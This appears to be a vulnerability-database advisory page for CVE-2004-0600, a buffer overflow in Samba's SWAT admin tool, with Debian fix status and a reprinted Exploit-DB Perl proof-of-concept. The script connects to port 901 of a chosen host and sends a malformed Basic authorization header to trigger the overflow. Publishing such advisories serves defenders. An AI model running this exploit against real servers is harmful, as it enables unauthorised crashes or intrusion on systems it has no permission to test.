CVE-2004-0600
Description
Buffer overflow in the Samba Web Administration Tool (SWAT) in Samba 3.0.2 to 3.0.4 allows remote attackers to execute arbitrary code via an invalid base-64 character during HTTP basic authentication.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Samba 3.0.4 - SWAT Authorisation Buffer Overflow
#!/usr/bin/perl
# Samba 3.0.4 and prior's SWAT Authorization Buffer Overflow
# Created by Noam Rathaus of Beyond Security Ltd.
#
use IO::Socket;
use strict;
my $host = $ARGV[0];
my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "901" );
unless ($remote) { die "cannot connect to http daemon on $host" }
print "connected\n";
$remote->autoflush(1);
my $http = "GET / HTTP/1.1\r
Host: $host:901\r
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040712
Firefox/0.9.1\r
Accept: text/xml\r
Accept-Language: en-us,en;q=0.5\r
Accept-Encoding: gzip,deflate\r
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r
Keep-Alive: 300\r
Connection: keep-alive\r
Authorization: Basic =\r
\r
";
print "HTTP: [$http]\n";
print $remote $http;
sleep(1);
print "Sent\n";
while (<$remote>)
{
print $_;
}
print "\n";
close $remote;
# milw0rm.com [2004-07-22]
OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 3.0.5 |
| sid | Fixed | 3.0.5 |
| forky | Fixed | 3.0.5 |
| bullseye | Fixed | 3.0.5 |
| bookworm | Fixed | 3.0.5 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.